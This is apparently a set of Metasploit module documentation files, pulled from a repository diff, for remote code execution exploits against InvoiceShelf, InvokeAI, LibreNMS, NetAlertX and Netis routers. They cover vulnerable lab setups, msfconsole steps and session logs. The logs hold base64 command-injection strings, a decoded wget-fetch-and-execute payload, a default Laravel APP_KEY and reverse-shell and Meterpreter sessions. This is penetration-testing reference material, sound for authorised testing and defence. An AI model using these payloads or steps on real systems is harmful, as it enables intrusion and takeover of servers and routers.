image: invoiceshelf/invoiceshelf:1.3.0
|
||||
container_name: invoiceshelf
|
||||
ports:
|
||||
- 90:80
|
||||
volumes:
|
||||
- ./invoiceshelf_mysql/data:/data
|
||||
- ./invoiceshelf_mysql/conf:/conf
|
||||
networks:
|
||||
- invoiceshelf
|
||||
environment:
|
||||
# PHP timezone e.g. PHP_TZ=America/New_York
|
||||
- PHP_TZ=UTC
|
||||
- TIMEZONE=UTC
|
||||
- APP_NAME=Laravel
|
||||
- APP_ENV=local
|
||||
- APP_DEBUG=true
|
||||
- APP_URL=http://localhost:90
|
||||
- DB_CONNECTION=mysql
|
||||
- DB_HOST=invoiceshelf_db
|
||||
- DB_PORT=3306
|
||||
- DB_DATABASE=invoiceshelf
|
||||
- DB_USERNAME=invoiceshelf
|
||||
- DB_PASSWORD=Passw0rd
|
||||
- DB_PASSWORD_FILE=
|
||||
- CACHE_STORE=file
|
||||
- SESSION_DRIVER=cookie
|
||||
- SESSION_LIFETIME=1440
|
||||
- SESSION_ENCRYPT=false
|
||||
- SESSION_PATH=/
|
||||
- SESSION_DOMAIN=localhost
|
||||
- SANCTUM_STATEFUL_DOMAINS=localhost:90
|
||||
- STARTUP_DELAY=
|
||||
#- MAIL_DRIVER=smtp
|
||||
#- MAIL_HOST=smtp.mailtrap.io
|
||||
#- MAIL_PORT=2525
|
||||
#- MAIL_USERNAME=null
|
||||
#- MAIL_PASSWORD=null
|
||||
#- MAIL_PASSWORD_FILE=<filename>
|
||||
#- MAIL_ENCRYPTION=null
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
- invoiceshelf_db
|
||||
|
||||
networks:
|
||||
invoiceshelf:
|
||||
|
||||
volumes:
|
||||
mysql:
|
||||
```
|
||||
* Execute `docker-compose up -d`
|
||||
* You can access the InvoiceShelf application at http://localhost:90
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### InvoiceShelf 1.3.0 on Docker - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
|
||||
rhosts => 192.168.201.21
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.21
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
meterpreter > sysinfo
|
||||
Computer : 72fe563832ca
|
||||
OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
|
||||
uname -a
|
||||
Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
|
||||
pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
InvokeAI has a critical vulnerability leading to remote code execution
|
||||
in the /api/v2/models/install API through unsafe model deserialization.
|
||||
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
|
||||
This functionality allows attackers to embed malicious code in model files that execute upon loading.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 4.0.0 <= InvokeAI <= 5.4.2
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* InvokeAI 5.3.1 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
Follow the [official instructions](https://invoke-ai.github.io/InvokeAI/installation/manual/#walkthrough)
|
||||
|
||||
1. Install uv:
|
||||
|
||||
`curl -LsSf https://astral.sh/uv/install.sh | sh`
|
||||
|
||||
2. Create a directory for your installation:
|
||||
|
||||
```bash
|
||||
mkdir ~/invokeai
|
||||
cd ~/invokeai
|
||||
```
|
||||
|
||||
3. Create a virtual environment in that directory:
|
||||
|
||||
`uv venv --relocatable --prompt invoke --python 3.11 --python-preference only-managed .venv`
|
||||
|
||||
4. Activate the virtual environment:
|
||||
|
||||
`source .venv/bin/activate`
|
||||
|
||||
5. Install the invokeai package:
|
||||
|
||||
```bash
|
||||
uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed --index=https://download.pytorch.org/whl/cpu --force-reinstall
|
||||
```
|
||||
|
||||
6. Deactivate and reactivate your venv so that the invokeai-specific commands become available in the environment:
|
||||
|
||||
`deactivate && source .venv/bin/activate`
|
||||
|
||||
7. Edit ~/invokeai/invoke.yaml:
|
||||
|
||||
```yaml
|
||||
# Internal metadata - do not edit:
|
||||
schema_version: 4.0.2
|
||||
|
||||
# Put user settings here - see https://invoke-ai.github.io/InvokeAI/features/CONFIGURATION/:
|
||||
host: 0.0.0.0 # serve the app on your local network
|
||||
```
|
||||
|
||||
8. Run the application, specifying the directory you created earlier as the root directory:
|
||||
|
||||
`invokeai-web --root ~/invokeai`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/invokeai_rce_cve_2024_12029`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options
|
||||
|
||||
Module options (exploit/linux/http/invokeai_rce_cve_2024_12029):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME CdRqUbPlDQJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 5.3.1 detected.
|
||||
[*] Using URL: http://192.168.56.1:8081/Z8KmlibT
|
||||
[*] Server started.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:48294) at 2025-02-16 15:24:41 +0900
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An authenticated attacker can create dangerous directory names on the system and
|
||||
alter sensitive configuration parameters through the web portal.
|
||||
Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
|
||||
thus achieving arbitrary code execution.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 24.9.0 <= LibreNMS <= 24.9.1
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* LibreNMS 24.9.0 installed on Ubuntu 22.04
|
||||
* LibreNMS 24.9.1 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. Follow the [official instructions](https://docs.librenms.org/Installation/Install-LibreNMS/).
|
||||
After git clone, change version: `git checkout tags/24.9.1`.
|
||||
|
||||
2. Comment out the last line in `/etc/cron.d/librenms`:
|
||||
`19 0 * * * librenms /opt/librenms/daily.sh >> /dev/null 2>&1`.
|
||||
Otherwise, the version will be updated to the latest, causing the exploit to fail.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
|
||||
5. (Optional) Do: `php artisan device:poll all` on the victim machine or wait up to 5 minutes (default cron setting)
|
||||
6. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### USERNAME (required)
|
||||
User name for LibreNMS.
|
||||
|
||||
### PASSWORD (required)
|
||||
Password for LibreNMS.
|
||||
|
||||
### PATH (required)
|
||||
LibreNMS installed location. Default is `/opt/librenms`.
|
||||
|
||||
### WAIT (required)
|
||||
Wait time (seconds) for cron to poll the device. Default is `315`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options
|
||||
|
||||
Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD yes Password for LibreNMS
|
||||
PATH /opt/librenms yes LibreNMS installed location
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
USERNAME yes User name for LibreNMS
|
||||
VHOST no HTTP server virtual host
|
||||
WAIT 315 yes Wait time (seconds) for cron to poll the device
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME n no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH s no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Successfully logged into LibreNMS.
|
||||
[+] The target appears to be vulnerable. LibreNMS version 24.9.1 detected, which is vulnerable.
|
||||
[*] Try to add host: 'f;echo d2dldCAtcU8gLi9uIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9zO2NobW9kICt4IC4vbjsuL24m|base64 -d|bash;#', length: 100
|
||||
[*] Added host.
|
||||
[*] Actual payload: wget -qO ./n http://192.168.56.1:8080/s;chmod +x ./n;./n&
|
||||
[*] Waiting up to 315 seconds for cron to poll the device...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[+] Deleted n
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:40228) at 2025-01-17 21:19:20 +0900
|
||||
[*] Reset snmpget to default.
|
||||
[*] Deleted device: 353
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: librenms
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-50-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An attacker can update NetAlertX settings with no authentication, which results in RCE.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v23.01.14 <= NetAlertX <= v24.9.12
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull jokobsk/netalertx:24.9.12`
|
||||
|
||||
2. docker run
|
||||
```bash
|
||||
docker run --rm --network=host \
|
||||
-v /tmp/netalertx:/app/config \
|
||||
-v /tmp/netalertx:/app/db \
|
||||
-e TZ=Europe/Berlin \
|
||||
-e PORT=20211 \
|
||||
jokobsk/netalertx:24.9.12
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### WAIT (required)
|
||||
Wait time (seconds) for the payload to be set. Default is `75`.
|
||||
|
||||
### CLEANUP
|
||||
Restore DBCLNP_CMD to original value after execution. Default is `true`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
|
||||
|
||||
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CLEANUP true no Restore DBCLNP_CMD to original value after execution
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 20211 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
WAIT 75 yes Wait time (seconds) for the payload to be set
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 24.9.12 detected.
|
||||
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
|
||||
[*] Waiting settings really updated...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
|
||||
[*] Added the payload to the queue. Waiting for the payload to run...
|
||||
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+289
@@ -0,0 +1,289 @@
|
||||
## Vulnerable Application
|
||||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
|
||||
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
|
||||
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
|
||||
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
|
||||
vulnerability.
|
||||
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
|
||||
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
|
||||
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
|
||||
the RCE.
|
||||
|
||||
Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
|
||||
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
|
||||
specific vulnerable firmware.
|
||||
|
||||
The following router firmware versions are vulnerable:
|
||||
|
||||
- [x] netis_MW5360_V1.0.1.3031_fw.bin
|
||||
- [x] Netis_MW5360-1.0.1.3442.bin
|
||||
- [x] Netis_MW5360_RUSSIA_844.bin
|
||||
- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
|
||||
- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
|
||||
- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
|
||||
- [x] netis_NC65_V3.0.0.3749.bin
|
||||
- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
|
||||
- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
|
||||
- [x] netis_NX10_V2.0.1.3582_fw.bin
|
||||
- [x] netis_NX10_V2.0.1.3643.bin
|
||||
- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
|
||||
- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
|
||||
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
|
||||
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
|
||||
- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
|
||||
- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
|
||||
|
||||
and potentially others...
|
||||
|
||||
## Installation
|
||||
Ideally, to test this module, you would need a vulnerable Netis Router device.
|
||||
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
|
||||
we can simulate the router and test the vulnerable endpoint.
|
||||
|
||||
### Installation steps to emulate the router firmware with FirmAE
|
||||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
|
||||
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
|
||||
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
|
||||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
|
||||
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
|
||||
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
|
||||
* Start emulation.
|
||||
* First run `./init.sh` to initialize and start the Postgress database.
|
||||
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
|
||||
* This will take a while, but in the end you should see the following...
|
||||
```shell
|
||||
# ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
|
||||
[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
|
||||
[*] extract done!!!
|
||||
[*] get architecture done!!!
|
||||
mke2fs 1.47.0 (5-Feb-2023)
|
||||
e2fsck 1.47.0 (5-Feb-2023)
|
||||
[*] infer network start!!!
|
||||
[IID] 15
|
||||
[MODE] debug
|
||||
[+] Network reachable on 192.168.1.254!
|
||||
[+] Web service on 192.168.1.254
|
||||
[+] Run debug!
|
||||
Creating TAP device tap15_0...
|
||||
Set 'tap15_0' persistent and owned by uid 0
|
||||
Bringing up TAP device...
|
||||
Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
|
||||
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
|
||||
import telnetlib
|
||||
[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
|
||||
[*] IP - 192.168.1.254
|
||||
[*] connecting to netcat (192.168.1.254:31337)
|
||||
[+] netcat connected
|
||||
------------------------------
|
||||
| FirmAE Debugger |
|
||||
------------------------------
|
||||
1. connect to socat
|
||||
2. connect to shell
|
||||
3. tcpdump
|
||||
4. run gdbserver
|
||||
5. file transfer
|
||||
6. exit
|
||||
```
|
||||
* check if you can `ping` the emulated router and run `nmap` to check the ports
|
||||
```shell
|
||||
# ping 192.168.1.254
|
||||
PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
|
||||
64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
|
||||
64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
|
||||
64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
|
||||
^C
|
||||
--- 192.168.1.254 ping statistics ---
|
||||
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
|
||||
rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
|
||||
# nmap 192.168.1.254
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
|
||||
Nmap scan report for 192.168.1.254
|
||||
Host is up (0.020s latency).
|
||||
Not shown: 996 closed tcp ports (reset)
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
53/tcp open domain
|
||||
80/tcp open http
|
||||
443/tcp open https
|
||||
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
|
||||
```
|
||||
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254
|
||||
|
||||
## Verification Steps
|
||||
